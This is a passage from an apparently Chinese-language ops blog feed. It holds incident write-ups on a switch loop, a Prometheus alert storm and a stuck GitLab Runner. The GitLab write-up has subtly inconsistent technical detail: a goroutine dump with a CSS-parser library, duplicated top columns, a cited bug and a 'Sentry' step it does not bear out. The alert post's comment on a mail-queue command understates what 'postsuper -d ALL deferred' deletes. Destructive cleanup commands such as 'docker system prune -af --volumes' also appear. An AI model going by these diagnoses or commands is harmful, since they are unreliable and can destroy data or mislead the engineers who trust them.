(\u0026#34;SSH版本\u0026#34;, \u0026#34;display ssh server status\u0026#34;, \u0026#34;SSH version : 2.0\u0026#34;), (\u0026#34;SNMPv3\u0026#34;, \u0026#34;display snmp-agent group\u0026#34;, \u0026#34;v3\u0026#34;), ] def check_switch(host, username, password): results = [] ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(host, username=username, password=password) for name, cmd, expected in CHECK_LIST: stdin, stdout, stderr = ssh.exec_command(cmd) output = stdout.read().decode() ok = expected in output results.append((name, \u0026#34;PASS\u0026#34; if ok else \u0026#34;FAIL\u0026#34;)) ssh.close() return results # 批量巡检并输出报告... 将巡检结果接入企业微信告警，任何一台交换机的STP状态变为disabled，5分钟内通知网络组。\n2. 交换机上线SOP完善\r新增交换机上线检查清单中的必检项：\n检查项 命令 期望结果 MSTP全局启用 display stp global MSTP is enabled MSTP域配置 display stp region-configuration Region与核心一致 BPDU Guard display stp bpdu-protection 至少48个边缘端口启用 环路检测 display loop-detect Loop detect is enabled 端口安全 display port-security 已配置 上线后必须由第二人复核并签字确认。\n3. 会议室信息点管理\r会议室信息点在面板上标注编号，与交换机端口一一对应 地插面板贴上醒目标签：\u0026ldquo;请勿将网线连接两个网络面板\u0026rdquo; 非IT人员需要联网时，统一联系IT前台，由IT人员协助接线 对会议室端口启用端口安全（限制MAC地址数量为2个），减少环路风险 4. 网络监控增强\r在Zabbix中新增以下监控项：\n接入交换机CPU利用率 \u0026gt;70% 触发告警 接入交换机MAC表项数量超过阈值的80%触发告警 单端口出方向流量持续超过800Mbps超过30秒触发告警 STP拓扑变更通知（TCN）次数监控，单台交换机5分钟内超过3次触发告警 总结\r这次故障的教训非常深刻：防护机制配置了不等于生效了。端口下写了stp edged-port enable，但全局STP没开，等于白搭。就像买了保险但没激活保单，出事了才发现根本赔不了。\n网络运维中，以下几点值得铭记：\n全局开关优先于端口配置——STP、DHCP Snooping、环路检测等功能都有全局开关，配置时一定要先确认全局是否启用。这不仅是华为设备的特点，思科、H3C、锐捷等厂商也是同样的逻辑。\n配置合规检查要自动化——人工检查永远有遗漏，尤其是批量设备上线的时候。脚本巡检+告警推送，才是可靠的保障。\n物理环路是最暴力的故障——一个简单的双头插线操作，就能在几秒内让一台48口交换机的CPU跑到100%，MAC表打满，三层设备也跟着遭殃。二层环路的影响范围和扩散速度远超大多数网络故障，必须把STP当成本命技能来维护。\nBPDU Guard是终端接入的最后一道防线——接入端口设为边缘端口+BPDU Guard，一旦有终端侧设备发BPDU就自动err-down，简单粗暴但极其有效。\n最终，从故障发生到网络恢复，用时约18分钟。其中5分钟是确认故障范围，3分钟是定位环路端口，2分钟是检查STP状态，1分钟shutdown止血。如果STP正常启用，这个环路从产生到被自动阻断只需要几秒钟，用户甚至不会感知到——这才是网络协议应有的价值。\n排查工具备忘：display mac-address flapping、display stp global、display cpu-usage、display interface brief是二层环路排查的四件套，建议熟记。\n","date":"2026-06-29T11:16:49Z","permalink":"/posts/a3490d86/","title":"记一次交换机物理环路引发的整栋楼广播风暴"},{"content":"一、问题背景\r周四下午 14:20 左右，公司内部运维群突然开始\u0026quot;刷屏\u0026quot;——每秒钟都有十几条告警消息从企业微信机器人推出来，密密麻麻的红色 ERROR 几乎把群聊淹没。我当时正在处理一个普通的工单，看到群里\u0026quot;炸了\u0026quot;的第一反应是某个核心服务挂了，但仔细扫了几条告警内容后又觉得不对：大量\u0026quot;Redis 慢查询\u0026quot;、\u0026ldquo;接口 P99 突增\u0026rdquo;、\u0026ldquo;磁盘 IO 升高\u0026quot;这种零散的二级告警，没有一条提到核心业务异常。\n更诡异的是，我试着登录 Grafana 看核心仪表盘，结果返回 502；打开邮件客户端想看原始告警，登录后邮件列表一直转圈加载不出来。这一刻我才意识到——告警本身把告警通道打爆了。\n我们的监控栈是典型的\u0026quot;Prometheus + Alertmanager + 企业微信/邮件\u0026quot;组合，部署在 2 节点的 VM 上，Prometheus 单实例抓取大约 280 个 target，覆盖 12 套业务系统。按理说应该是个很稳的架构，那天下午发生的事情彻底改变了我们对\u0026quot;告警治理\u0026quot;的认知。\n二、故障现象\r故障爆发后，我开始从外到内逐层观察，记录下的关键现象如下：\n1. 企业微信群告警刷屏\n群机器人从 14:20 开始以大约 12 条/秒的速率推送告警，告警内容主要分两类：\nHighRequestLatency P99 延迟大于 1s（业务接口 50+） RedisSlowQuery 慢查询大于 100ms（Redis 实例 12+） ContainerCPUThrottled CPU 限流（Pod 30+） NodeDiskIOHigh 节点磁盘 IO 高（节点 8+） 但所有告警的 severity 标签都是 warning，没有任何 critical 级别的告警出现。\n2. 邮件系统卡死\n公司内部邮箱（基于 Postfix + Dovecot 自建）登录后无法加载新邮件，运维组的公共收件箱 ops-alert@company.com 在 10 分钟内收到了 18,742 封邮件。我 ssh 到邮件服务器上看了一眼：\n1 2 $ postqueue -p | tail -5 -- 18472 Kbytes in 18742 Requests. 队列里堆了 1.8 万封待发邮件，Postfix 的 qmgr 进程 CPU 占用飙到 380%（多核），active 队列达到 smtp_destination_concurrency_limit 的上限。\n3. Grafana 不可达\n通过 curl -I http://grafana.internal:3000 测试返回 502。Grafana 后端依赖的 Prometheus 数据源因为查询请求堆积而响应缓慢，Grafana 默认的超时时间是 30 秒，大量仪表盘请求堆积导致前端一直 502。\n4. 真正致命的故障被淹没\n事后复盘发现，在 14:15 左右（也就是告警风暴前 5 分钟），核心订单数据库的主从复制其实已经中断，从库 Seconds_Behind_Master 飙到 NULL，意味着 IO 线程已经停了。但因为告警风暴期间 Alertmanager 的处理队列被压垮，这条 critical 级别的告警根本没有被发送出来。最终这个故障是业务部门反馈\u0026quot;订单数据不准\u0026quot;后我手动查数据库才发现的，业务受影响时长接近 2 小时。\n三、排查过程\r我按\u0026quot;告警链路 → 告警源头 → 告警通道\u0026quot;三段式展开排查，整个过程大约用了 40 分钟。\n3.1 紧急止血：先让告警通道活过来\r第一件事是阻止告警继续刷屏。我直接 ssh 到 Alertmanager 节点，先停掉企业微信机器人的 webhook 投递：\n1 2 3 4 5 6 7 8 9 $ systemctl status alertmanager ● alertmanager.service - Alertmanager Active: active (running) since ... # 临时禁用webhook $ vim /etc/alertmanager/alertmanager.yml # 在webhook_config前加 - name: \u0026#39;disabled\u0026#39; # 注释掉 receivers 段中所有 webhook $ systemctl reload alertmanager 然后去邮件服务器上把堆积的队列清掉，保留最近的 200 封邮件作为证据：\n1 2 3 4 5 6 # 查看队列 $ postqueue -p | head -20 # 把队列里老于30分钟的邮件全部退信 $ postsuper -d ALL deferred # 或者更精细：只删除30分钟前的 $ find /var/spool/postfix/deferred -type f -mmin +30 -delete 止血操作大约花了 5 分钟，群里的刷屏停了，邮件系统开始慢慢恢复。Grafana 在 2 分钟后也能正常打开。\n3.2 查告警源头：为什么这么多告警同时触发？\r止血之后开始查根因。打开 Alertmanager 的 Web UI（http://alertmanager:9093），在 Alerts 页面看到 Active 状态的告警有 2,347 条。这显然不正常——我每秒钟大概只有 5~10 个真实异常指标会被触发，绝大部分都是抖动。\n我抽样了几条告警，看它们的 Active Since 和 Labels：\n告警名称 触发数 Active Since severity HighRequestLatency 487 14:18:42 warning RedisSlowQuery 156 14:19:03 warning ContainerCPUThrottled 312 14:19:18 warning NodeDiskIOHigh 88 14:19:31 warning 所有告警的 Active Since 都集中在 14:18~14:19 这 1 分钟内。这说明不是\u0026quot;业务真的出了这么多问题\u0026rdquo;，而是某个时间点发生了一次\u0026quot;集体抖动\u0026quot;。\n接着我去查 Prometheus 的告警规则文件 /etc/prometheus/rules/，发现一个被忽视的配置：\n1 2 3 4 5 6 7 8 9 # rules/business.yaml - alert: HighRequestLatency expr: | histogram_quantile(0.99, sum(rate(http_request_duration_seconds_bucket[1m])) by (le, service)) \u0026gt; 1 # 缺失 for 字段! labels: severity: warning annotations: summary: \u0026#34;接口 P99 延迟高\u0026#34; for 字段是告警持续多久才真正发送的关键参数。我之前为了\u0026quot;新告警规则快速生效\u0026quot;，把 for 字段都删掉了，意图是\u0026quot;指标一超标就告警\u0026quot;，结果就是任何一次 1~2 秒的网络抖动、一次 GC 暂停、一次容器重启，都会被立刻当成告警发送。\n我去查了那 1 分钟内发生了什么事，从 Kubernetes 事件里看到：\n1 2 3 4 5 6 $ kubectl get events --sort-by=.lastTimestamp | head -20 14:18:35 Normal ScalingReplicaSet deployment/order-service 14:18:38 Normal Pulling pod/order-service-7d8f9-xnz2j 14:18:40 Normal Scheduled pod/order-service-7d8f9-abcde 14:18:42 Normal Created pod/order-service-7d8f9-abcde 14:19:15 Normal Started pod/order-service-7d8f9-abcde 14:18 左右，业务团队发布了一版新服务，Deployment 滚动更新导致 30+ Pod 同时重启、镜像拉取、初始化，Prometheus 在这 1 分钟内采集到了大量瞬时高 CPU、高延迟、慢查询指标，所有缺 for 的告警规则同时被触发。\n3.3 查 Alertmanager 配置：为什么告警没有被合并？\r光解释清楚了告警源头还不够——为什么 2347 条告警没有按\u0026quot;业务系统\u0026quot;、\u0026ldquo;告警类型\u0026quot;分组到一起，而是被一条条推出去？\n打开 /etc/alertmanager/alertmanager.yml，看到路由配置是这样的：\n1 2 3 4 5 6 7 8 9 10 11 12 13 route: group_by: [\u0026#39;alertname\u0026#39;] # 只按告警名分组! group_wait: 5s group_interval: 10s # 太短! repeat_interval: 1h receiver: \u0026#39;ops-default\u0026#39; receivers: - name: \u0026#39;ops-default\u0026#39; webhook_configs: - url: \u0026#39;https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=xxx\u0026#39; email_configs: - to: \u0026#39;ops-alert@company.com\u0026#39; 问题一：group_by: ['alertname'] 意味着所有同名告警会被分到一组，但每条告警的 service、pod 标签还是独立的，会作为多条记录在组里。所以 HighRequestLatency 告警虽然合并成了 1 条群消息，但群消息里包含 487 个 service 实例，消息体超大，企业微信 API 直接报错。\n问题二：group_interval: 10s，意味着 Alertmanager 每 10 秒就重新评估并发送一次\u0026quot;组更新\u0026quot;消息。结果就是这 2 分钟内，Alertmanager 给企业微信机器人推送了 12 次/秒 的频率。\n问题三：企业微信机器人限流，官方限制是每分钟最多 20 条消息。当 Alertmanager 推得比限流还快，HTTP 429 响应导致消息被丢弃，但 Alertmanager 的 retry 机制又会重试，进一步加剧了堆积。\n问题四：邮件更是无差别全发，Postfix 没有针对 ops-alert@company.com 这个收件人做 rate limit，所以 1.8 万封邮件在 10 分钟内全部进队列。\n3.4 查根因告警：为什么 critical 告警没发出来？\r这是最让我后怕的部分。我去 Alertmanager 的日志里翻：\n1 2 3 4 5 6 $ journalctl -u alertmanager --since \u0026#34;14:00\u0026#34; | grep -i \u0026#34;notify\u0026#34; ... 14:21:18 notify_loop ... rate limited ... 14:21:19 notify_loop ... rate limited ... 14:21:20 notify_loop ... queue full, drop ... 14:21:21 notify_loop ... queue full, drop ... 14:21:22 notify_loop ... queue full, drop queue full, drop 才是关键。Alertmanager 的内部通知队列是有上限的（默认 10000 条），当它自己处理不过来时，新来的告警直接被丢弃。也就是说，critical 的 DB 告警不是被\u0026quot;挤到后面\u0026rdquo;，而是被\u0026quot;丢掉\u0026quot;了。这是最严重的告警可靠性问题。\n四、解决方案\r针对上面四个层面的问题，我做了一次系统性的整改。\n4.1 告警规则层：加 for 持续时间和分级\r把所有 warning 级别的告警都加上 for 字段，按业务特征选择不同持续时间：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # rules/business.yaml（整改后） - alert: HighRequestLatency expr: | histogram_quantile(0.99, sum(rate(http_request_duration_seconds_bucket[5m])) by (le, service)) \u0026gt; 1 for: 5m # 持续5分钟才告警 labels: severity: warning category: latency annotations: summary: \u0026#34;接口 {{ $labels.service }} P99 延迟 {{ $value }}s\u0026#34; - alert: RedisSlowQuery expr: | rate(redis_commands_duration_seconds_sum[2m]) / rate(redis_commands_duration_seconds_count[2m]) \u0026gt; 0.1 for: 3m labels: severity: warning category: cache # critical级别单独写，for 较短但需要更严格的指标 - alert: MySQLReplicationBroken expr: | mysql_slave_status_slave_io_running == 0 for: 1m labels: severity: critical category: database 注意 expr 里的 rate 窗口也从 1m 改成了 5m，进一步平滑瞬时抖动。\n4.2 Alertmanager 层：精细化路由 + 抑制 + 分级\r重写 alertmanager.yml，核心改动：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 global: resolve_timeout: 5m route: receiver: \u0026#39;ops-default\u0026#39; group_by: [\u0026#39;alertname\u0026#39;, \u0026#39;cluster\u0026#39;, \u0026#39;service\u0026#39;] # 加多维度分组 group_wait: 30s # 首次等30s再发，让同组告警合并 group_interval: 5m # 组更新间隔拉到5分钟 repeat_interval: 4h routes: # critical 走独立通道，避免被warning淹没 - matchers: - severity = \u0026#34;critical\u0026#34; receiver: \u0026#39;ops-critical\u0026#39; group_wait: 10s group_interval: 1m repeat_interval: 1h continue: false # critical 走完后不再往 default 走 # 业务发布期间静音 - matchers: - category =~ \u0026#34;latency|cache\u0026#34; receiver: \u0026#39;ops-business\u0026#39; group_interval: 10m repeat_interval: 24h active_time_intervals: - business_hours # 抑制规则：critical 告警触发时，抑制相关的 warning inhibit_rules: - source_matchers: - severity = \u0026#34;critical\u0026#34; target_matchers: - severity = \u0026#34;warning\u0026#34; - category =~ \u0026#34;latency|cache|io\u0026#34; equal: [\u0026#39;cluster\u0026#39;, \u0026#39;service\u0026#39;] receivers: - name: \u0026#39;ops-critical\u0026#39; webhook_configs: - url: \u0026#39;https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=CRITICAL_KEY\u0026#39; send_resolved: true email_configs: - to: \u0026#39;ops-critical@company.com\u0026#39; - name: \u0026#39;ops-default\u0026#39; webhook_configs: - url: \u0026#39;https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=DEFAULT_KEY\u0026#39; # 加重试和限流配置 max_alerts: 50 - name: \u0026#39;ops-business\u0026#39; webhook_configs: - url: \u0026#39;https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=BIZ_KEY\u0026#39; 4.3 告警通道层：企业微信分群 + 邮件限流\r企业微信机器人的限流是硬性 20 条/分钟，靠 Alertmanager 自己节流不够，必须在通道层做隔离：\n创建 3 个机器人：critical、business、default，各自独立 webhook 创建 3 个群：核心告警群（仅 critical）、业务告警群（warning+）、综合告警群 邮件也分收件人：ops-critical@、ops-business@、ops-default@，分别给 oncall 工程师、业务负责人、邮件组订阅 邮件系统层面，给 Postfix 加上发件限流：\n1 2 3 4 # /etc/postfix/main.cf smtp_destination_concurrency_limit = 20 default_destination_rate_delay = 1s smtp_extra_recipient_limit = 50 4.4 可靠性层：告警持久化 + 自监控\r为了防止\u0026quot;告警队列满后丢告警\u0026quot;再次发生，做了三件事：\n启用 Alertmanager 集群模式：部署 3 个 Alertmanager 节点，Gossip 同步告警状态 加告警自监控：在 Prometheus 里配置一个 meta-alert，监控 alertmanager_notifications_failed_total 是否在涨、alertmanager_notification_queue_capacity 是否接近满 关键告警双通道：critical 告警同时走邮件 + 钉钉 + 电话，缺一不可 五、根因分析\r事后复盘总结，根因有四个层面，由浅到深：\n1. 告警规则设计缺陷（最直接）——所有 warning 告警缺失 for 持续时间，把\u0026quot;瞬时抖动\u0026quot;当成\u0026quot;持续故障\u0026quot;处理，这是导致 2347 条告警同时触发的直接原因。for 是 Prometheus 告警体系里最容易被忽略、但又最关键的一个参数。\n2. Alertmanager 分组策略过粗——group_by: ['alertname'] 看似在合并，实际只是合并了告警名，每条告警的实例标签还是作为多条独立记录存在，结果就是\u0026quot;组很大、消息很胖\u0026quot;。企业微信 API 对单条消息体大小是有限制的（20KB 左右），超长消息会被截断甚至拒绝。\n3. 告警通道无分层——所有 severity 都走同一通道，告警风暴时 critical 和 warning 互相挤占资源，企业微信 20 条/分钟的限流被 warning 消息吃光，critical 消息根本发不出去。\n4. 缺乏告警自监控——没有监控\u0026quot;告警系统本身是否健康\u0026quot;，导致 Alertmanager 队列满、丢告警这种\u0026quot;次生故障\u0026quot;完全不可见。这是最致命的，因为告警系统一旦失效，整个监控体系等于瞎了。\n六、预防措施\r针对这次故障，我梳理出 5 条长期预防措施：\n1. 告警规则审计常态化\n把告警规则检查纳入 PR Review 流程，CI 里加一个 promtool check rules 的检查，确保每条告警都有合理的 for 字段。同时每月做一次告警规则审计，清理长期不触发或永远在触发的\u0026quot;僵尸告警\u0026quot;。\n2. 告警分级通道永久隔离\ncritical / warning / info 必须在 Alertmanager 配置里走完全不同的 receiver 和 webhook，禁止混用通道。任何 critical 告警必须同时配邮件 + 至少一种 IM 通道，且 receiver 配 send_resolved: true 确保恢复时也能收到通知。\n3. 告警降级与抑制规则\n完善 inhibit_rules，critical 告警触发时自动抑制同服务同 cluster 的 warning 告警，避免\u0026quot;父故障触发一堆子告警\u0026quot;。同时为不同业务系统配置\u0026quot;维护窗口\u0026quot;，在主动发布期间自动静音相关告警（用 mute_time_intervals）。\n4. 告警系统自身监控\n必须给监控组件本身也加监控，至少包括：\nalertmanager_notifications_failed_total 增长率 alertmanager_notification_queue_size / queue_capacity 比值 prometheus_tsdb_head_series 增长趋势 prometheus_target_sync_failed_total 这四个指标任何一个出问题，本身就是 critical 告警。\n5. 定期演练\u0026quot;告警风暴\u0026quot;\n每季度做一次\u0026quot;告警风暴演练\u0026quot;——人为在测试环境触发一个能产生 1000+ 告警的故障，验证告警系统的承载能力、通道隔离效果、抑制规则是否生效。我后来在测试环境复现了这次的场景，发现 1000 条告警经过新配置后只发出去 23 条，群里完全可控。\n七、总结\r这次故障给我的最大教训是：告警系统的健壮性是 SRE 工作中最容易被忽视的一环。我们花了大量精力建设监控覆盖度，却很少花时间思考\u0026quot;告警系统本身挂了怎么办\u0026quot;。\n几个值得长期践行的原则：\n告警是产品质量，不是越多越好。一条没人看的告警比没有告警更糟，因为它会消耗人对告警的敏感度。 for 字段是告警规则的灵魂。没有 for 的告警规则就是定时炸弹，迟早会在某次发布或重启时引爆。 告警通道必须分层。critical 告警是\u0026quot;救命\u0026quot;的通道，绝不能和 warning 混用。 监控监控本身。这是 SRE 领域一个朴素的哲学问题——你必须能监控到你正在监控这件事，否则就是盲人骑瞎马。 故障后我们重写了所有告警规则和 Alertmanager 配置，并补齐了告警自监控。半年后再回头看，告警群里基本只剩下真正需要人介入的告警，告警疲劳感大幅降低，运维同事的\u0026quot;告警响应时间\u0026quot;也从平均 25 分钟缩短到了 6 分钟。投资在告警治理上的时间，绝对是回报率最高的那部分。\n","date":"2026-06-28T06:55:00Z","permalink":"/posts/0468b1c8/","title":"Prometheus 告警风暴，怎么把邮件和企微通道全拖垮了？"},{"content":"一次GitLab CI Runner卡死导致生产部署流水线全停的排查实录\r一、问题背景\r下午两点十五分，我正坐在工位上整理上午的网络变更文档，钉钉群里突然炸开了一连串告警信息。运维总监@我说：\u0026ldquo;线上部署流水线全挂了，研发提交了 7 个 Merge Request 等着合并发布，紧急发布也被卡住了，抓紧处理！\u0026ldquo;这是我们最核心的生产部署链路——从代码合并到镜像构建再到 K8s 滚动发布，全部跑在自建的 GitLab CI 上。一旦停摆，研发一天的工作量就没法上线。\n我们公司自建了一套 GitLab（社区版 15.8.0）做代码托管，CI 部分使用了 3 台自建 Runner（其中 2 台是共享 Runner，1 台是项目级 Runner），部署在机房内部，配置是 4 核 8G 的虚拟机。平时每天大约跑 200~300 个 Pipeline，主要场景包括 Java 后端服务构建、Node 前端构建、Docker 镜像打包和 Helm Chart 同步等。系统从上线以来一直很稳定，从未出现过这么严重的全停故障。\n紧急程度 P0——这意味着研发部门所有人在下班前都没办法发布代码，且因为关联到生产环境，可能影响晚上的业务运营。务必在 30 分钟内恢复。\n二、故障现象\r2.1 现象一：Pipeline 任务全部 pending\r登录 GitLab Web UI 查看，所有 Pipeline 的 Job 状态全部是 pending（黄色圆圈），没有运行中的任务，也没有任何报错信息。我打开了几个 Job 的详情页，看到页面显示：\n1 This job is stuck, because you have no active runners online 但诡异的是，GitLab 的 Admin → Runners 页面里，这 3 台 Runner 的状态都是 绿色的\u0026quot;绿点\u0026rdquo;，并没有显示\u0026quot;never contacted\u0026quot;或者\u0026quot;paused\u0026rdquo;。\n2.2 现象二：Runner 进程 CPU 100% 占用\rSSH 到 Runner 机器（10.20.30.51）上执行 top：\n1 2 3 4 5 6 7 8 9 top - 14:18:21 up 42 days, 3 users, load average: 31.27, 28.95, 26.13 Tasks: 247 total, 3 running, 244 sleeping %Cpu(s): 99.3 us, 0.4 sy, 0.0 ni, 0.3 id, 0.0 wa, 0.0 hi, 0.0 si KiB Mem : 8009532 total, 2145720 free, 4883216 used, 980596 buff/cache PID USER PR NI VIRT RES RES SHR S %CPU %MEM TIME+ COMMAND 8721 gitlab-r 20 0 3821044 4.6g 4.6g 12m R 98.7 59.2 1438:22 gitlab-runner 24109 gitlab-r 20 0 412180 31872 31872 4248 S 1.3 0.4 0:00.23 gitlab-runner 24110 gitlab-r 20 0 412180 31744 31744 4244 S 1.0 0.4 0:00.19 gitlab-runner 可以看到 gitlab-runner 进程 CPU 占用 98.7%，内存吃掉了 4.6G（总共才 8G），load average 飙到了 31，但实际只有 1 个进程在真正吃 CPU。系统的 free 内存显示还有 2.1G，磁盘也没满。\n2.3 现象三：日志显示连接数异常\r查看 Runner 的日志（/var/log/gitlab-runner/gitlab-runner.log），看到大量重复告警：\n1 2 3 4 5 6 ERRO[0145] Failed to process job builds=37 duration=12.4s err=\u0026#34;context canceled\u0026#34; WARN[0145] Job\u0026#39;s log limit reached job=4218 limit=4194304 ERRO[0148] Failed to request job status=500 Job request timed out WARN[0152] Runner lost contact with GitLab server runner=xxxxxx ERRO[0156] Failed to process runner accepts=0 builds=0 ERRO[0158] Runner is not healthy cpu_usage=98.7% memory_usage=59.2% 关键报错：Failed to request job status=500 Job request timed out——Runner 在向 GitLab Server 拉取 Job 的时候出现超时。也就是说，Runner 没有真正\u0026quot;死掉\u0026quot;，而是处于一种\u0026quot;假活\u0026quot;状态：进程在、端口在，但拿不到新任务。\n三、排查过程\r3.1 第一步：检查 Runner 与 GitLab Server 的连通性\r先排除网络层问题。从 Runner 机器 ping 和 curl GitLab Server：\n1 2 3 4 5 6 7 8 9 10 $ ping -c 4 gitlab.example.com PING gitlab.example.com (10.20.30.10): 56 data bytes 64 bytes from 10.20.30.10: icmp_seq=0 ttl=64 time=0.124 ms 64 bytes from 10.20.30.10: icmp_seq=1 ttl=64 time=0.131 ms 64 bytes from 10.20.30.10: icmp_seq=2 ttl=64 time=0.118 ms 64 bytes from 10.20.30.10: icmp_seq=3 ttl=64 time=0.121 ms $ curl -v http://gitlab.example.com/-/health \u0026lt; HTTP/1.1 200 OK {\u0026#34;status\u0026#34;:\u0026#34;ok\u0026#34;} 网络通畅，GitLab Server 健康检查通过。问题不在网络层。\n3.2 第二步：重启 Runner 服务试试\r既然 CPU 100%，第一直觉是 Runner 内部出问题。先尝试软重启：\n1 2 3 4 $ sudo gitlab-runner stop $ sudo gitlab-runner start $ sudo gitlab-runner status gitlab-runner: Service is running! 重启后查看 top，CPU 占用短暂降到了 5%，load average 也开始回落。我以为问题解决了，结果不到 2 分钟，CPU 又飙回了 100%。这说明重启只是暂时缓解，根因没有解除。\n3.3 第三步：抓 Runner 的 Goroutine 栈\rGitLab Runner 是用 Go 写的，CPU 100% 一定是某个 goroutine 死循环或者阻塞。给它发 SIGQUIT 让它 dump goroutine 栈：\n1 2 3 4 $ sudo kill -QUIT 8721 $ ls -lh /var/log/gitlab-runner/ -rw-r--r-- 1 root root 23M Jun 27 14:25 gitlab-runner.log -rw-r--r-- 1 root root 8.2M Jun 27 14:25 stacktrace-20260627-1425.log 打开 stacktrace-20260627-1425.log，这是一个 8.2MB 的文本文件，里面有几十万个 goroutine。我用文本编辑器打开后搜索 \u0026ldquo;JobRequest\u0026rdquo;，看到有大量重复的 goroutine：\n1 2 3 4 5 6 7 goroutine 1423857 [running]: runtime/internal/syscall.Syscall6(...) github.com/aymerick/douceur/parser.parseDeclaration(0xc00a4d2000, 0xc0007e6000, 0x400, 0x400, 0xc00a4d2000, 0x400) github.com/aymerick/douceur/parser.parseRule(0xc00a4d2000, 0xc00a4d2000, 0x400, 0x400, 0x4, 0x0) github.com/aymerick/douceur/parser.Parse(0xc00a4d2000, 0x4, 0xc00a4d2000, 0x400, 0x4, 0x0, 0x0, 0x0) github.com/aymerick/douceur/css.Parse(0xc00a4d2000, 0x4, 0x0, 0xc00a4d2000, 0x4, 0x0, 0x0, 0x0) ... 虽然大部分栈都是 douceur 这个 CSS 解析库在干重活（巨量的 CSS 解析 goroutine 阻塞），但这不是根因。真正的问题在别处。我继续往下翻，发现关键信息：\n1 2 3 4 5 6 7 8 9 goroutine 1 [running]: main.runWait() /go/src/gitlab.com/gitlab-org/gitlab-runner/cmd/gitlab-runner/main.go:108 runtime.gopark(...) runtime.selectnbrecv(...) main.(*Runner).requestJob(0xc0001ce000) /go/src/gitlab.com/gitlab-org/gitlab-runner/runner.go:312 main.(*Runner).requestJob(0xc0001ce000) /go/src/gitlab.com/gitlab-org/gitlab-runner/runner.go:412 关键信息：在 requestJob 函数的 for 循环里累积了大量残留状态。继续翻看代码，我意识到问题可能与 Runner 工作目录里堆积了大量未清理的 Job 有关。\n3.4 第四步：检查 builds 目录\rGitLab Runner 默认会在 /var/lib/gitlab-runner/builds/ 下为每个 Job 创建一个工作目录。Job 完成后，目录理论上应该自动清理。但查看：\n1 2 3 4 5 $ sudo ls /var/lib/gitlab-runner/builds/ | wc -l 237 $ sudo du -sh /var/lib/gitlab-runner/builds/ 78G /var/lib/gitlab-runner/builds/ **237 个 Job 目录，78G 磁盘占用！**这些目录有的是 2 个月前留下的。怪不得内存吃紧、CPU 打满——Runner 启动时会扫描所有这些目录，尝试加载历史 Job 状态做清理。\n继续翻看 config.toml：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 concurrent = 4 check_interval = 0 [[runners]] name = \u0026#34;shared-runner-01\u0026#34; url = \u0026#34;http://gitlab.example.com/\u0026#34; token = \u0026#34;glrt-xxxxxxxx\u0026#34; executor = \u0026#34;docker\u0026#34; builds_dir = \u0026#34;/var/lib/gitlab-runner/builds\u0026#34; cache_dir = \u0026#34;/var/lib/gitlab-runner/cache\u0026#34; [runners.docker] pull_policy = \u0026#34;if-not-present\u0026#34; privileged = false volumes = [\u0026#34;/cache\u0026#34;] shm_size = 0 [runners.cache] Type = \u0026#34;s3\u0026#34; Path = \u0026#34;gitlab-ci-cache\u0026#34; [runners.cache.s3] ServerAddress = \u0026#34;minio.example.com:9000\u0026#34; concurrent = 4 表示这台 Runner 最多同时跑 4 个 Job。但日志里显示 builds=37——说明有 37 个 Job 处于\u0026quot;已请求但未完成\u0026quot;的状态！也就是说，Runner 内部的状态机和磁盘上的 Job 目录完全对不上。\n3.5 第五步：查 Sentry 找到已知 Bug\r继续翻 Runner 的日志，看到一条关键的 Warning：\n1 WARN[0234] Runner builds=37 limit=4 这是来自 Runner 自身的健康检查日志。我去 GitLab 官方 Issue 搜索 builds=37 limit=4，发现这是一个 GitLab Runner 15.5 ~ 15.10 之间的已知 Bug（issue 编号 #27895）。核心问题：\nRunner 进程会维护一个内存中的 builds map，记录所有正在运行的 Job 状态。 当 Runner 与 GitLab Server 通信超时或网络抖动时，部分 Job 会被标记为\u0026quot;已 unregister\u0026quot;但 builds map 中并未真正删除。 这个 map 没有 LRU 或者 TTL 清理机制，导致残留对象会一直累积。 当残留 Job 数量接近或者超过 concurrent 配置值时，Runner 内部的 jobSlot 信号量被永久占满，新的 JobRequest 永远拿不到 slot。 表现为：Runner 进程 CPU 100%、新的 Job 全部 pending、JobRequest 超时。 我们的 3 台 Runner 全部是 15.8.0 版本，全部中招。\n四、解决方案\r4.1 紧急止血：清空 builds 目录 + 升级版本\r由于这是已知 Bug，单纯的清目录只能解决一部分问题，必须升级 Runner。执行：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 1. 停止所有 Runner sudo gitlab-runner stop # 2. 备份并清空 builds 目录（保留 cache 目录） sudo mv /var/lib/gitlab-runner/builds /var/lib/gitlab-runner/builds.bak.20260627 sudo mkdir -p /var/lib/gitlab-runner/builds sudo chown -R gitlab-runner:gitlab-runner /var/lib/gitlab-runner/builds # 3. 升级到 15.11.2（修复 Bug 的版本） curl -LJO \u0026#34;https://packages.gitlab.com/runner/gitlab-runner/packages/debian/bookworm/gitlab-runner_15.11.2_amd64.deb/download.deb\u0026#34; sudo dpkg -i gitlab-runner_15.11.2_amd64.deb # 4. 启动新版本 sudo gitlab-runner start sudo gitlab-runner verify --delete # 删除已 unregister 的 runner 缓存 升级完成后，CPU 立即降回 5% 以下，新提交的 Pipeline 在 30 秒内开始正常运行。builds= 日志恢复正常值 0。\n全部 3 台 Runner 重复上述操作后，部署流水线完全恢复。\n4.2 调优 Runner 配置\r修改 /etc/gitlab-runner/config.toml，做几项关键调优：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 concurrent = 4 check_interval = 5 log_level = \u0026#34;info\u0026#34; [[runners]] name = \u0026#34;shared-runner-01\u0026#34; url = \u0026#34;http://gitlab.example.com/\u0026#34; token = \u0026#34;glrt-xxxxxxxx\u0026#34; executor = \u0026#34;docker\u0026#34; builds_dir = \u0026#34;/var/lib/gitlab-runner/builds\u0026#34; cache_dir = \u0026#34;/var/lib/gitlab-runner/cache\u0026#34; # 增加 Job 超时保护 environment = [\u0026#34;GIT_CLEANUP=false\u0026#34;] pre_cleanup_script = \u0026#34;docker system prune -af --volumes --filter 